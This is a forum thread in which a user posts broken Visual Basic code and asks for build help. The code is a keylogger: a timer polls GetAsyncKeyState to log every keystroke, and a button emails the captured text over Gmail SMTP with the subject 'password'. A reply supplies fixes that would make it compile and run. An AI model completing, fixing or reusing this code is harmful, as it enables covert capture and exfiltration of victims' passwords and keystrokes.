Visual Basics Code help! Come look

[SpectreD]

Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1

    Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("[email protected]")
        mail.From = New MailAddress("[email protected]")
        mail.Subject = "password"
        mail.Body = RichTextBox1.Text
        SmtpServer.Send(mail)
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
End Class

Can someone help me with this code, i am getting 6 errors when try to build

Errors:
Error 1 Keyword is not valid as an identifier. (Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer)

Error 2 Keyword is not valid as an identifier. (Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer)

Error 3 Name 'result' is not declared. (result = 0)

Error 4 Name 'result' is not declared. (result = GetAsyncKeyState(i))

Error 5 Name 'GetAsyncKeyState' is not declared. (result = GetAsyncKeyState(i))

Error 6 Name 'result' is not declared. (If result = -32767 Then)

 

[Frotty]

write "user32.dll" instead of "user32"

Also in Windows7 you have to use it as Short.

Error 5 will also be fixed by that.

Error 3,4,6 are because you didn't declare "result".